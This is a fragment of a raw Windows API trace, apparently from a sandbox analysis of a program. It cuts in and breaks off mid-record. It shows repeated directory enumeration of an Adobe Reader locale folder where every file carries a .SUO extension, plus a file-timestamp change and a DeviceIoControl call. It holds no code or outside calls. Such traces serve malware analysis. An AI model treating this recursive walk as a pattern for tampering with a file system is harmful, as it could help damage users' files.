hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SUO", cAlternateFileName="")) returned 1 [0081.948] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SUO", cAlternateFileName="")) returned 1 [0081.948] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SUO", cAlternateFileName="")) returned 1 [0081.948] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SUO", cAlternateFileName="")) returned 1 [0081.948] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.948] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddd5200, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f4be5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.SUO", cAlternateFileName="")) returned 0 [0081.949] GetLastError () returned 0x12 [0081.949] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9040 [0081.949] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82d6d1a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x77800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa200, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d723420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x12c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.SUO", cAlternateFileName="")) returned 1 [0081.949] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9f6e40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b57e60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ffe6ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x144c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da8f3c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.SUO", cAlternateFileName="")) returned 1 [0081.950] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.950] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services"), fInfoLevelId=0x0, lpFileInformation=0x119e8e0 | out: lpFileInformation=0x119e8e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0081.951] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fi_fi\\services"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0081.951] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e924, lpLastWriteTime=0x119e924) returned 0 [0081.951] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12a8040, nOutBufferSize=0x4000, lpBytesReturned=0x119e97c, lpOverlapped=0x0 | out: lpOutBuffer=0x12a8040, lpBytesReturned=0x119e97c, lpOverlapped=0x0) returned 0 [0081.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a8040) returned 1 [0081.951] NtClose (Handle=0x174) returned 0x0 [0081.951] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x127a138) returned 1 [0081.951] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a138 [0081.952] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.952] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a240 [0081.953] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e8f80 [0081.953] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.953] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.953] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.953] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a348 [0081.954] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a3a8 [0081.954] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a450 [0081.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.955] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 1 [0081.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.955] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124c848 [0081.955] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a3c8 [0081.956] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127a558 [0081.956] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124c848) returned 1 [0081.956] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81f71060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services.asfx", cAlternateFileName="")) returned 0 [0081.956] GetLastError () returned 0x12 [0081.956] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fi_FI\\Services\\*", fInfoLevelId=0x1, lpFindFileData=0x119e72c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e72c) returned 0x2e9100 [0081.956] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.956] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.956] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9299, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.asfx", cAlternateFileName="")) returned 1 [0081.956] FindNextFileW (in: hFindFile=0x2e9100, 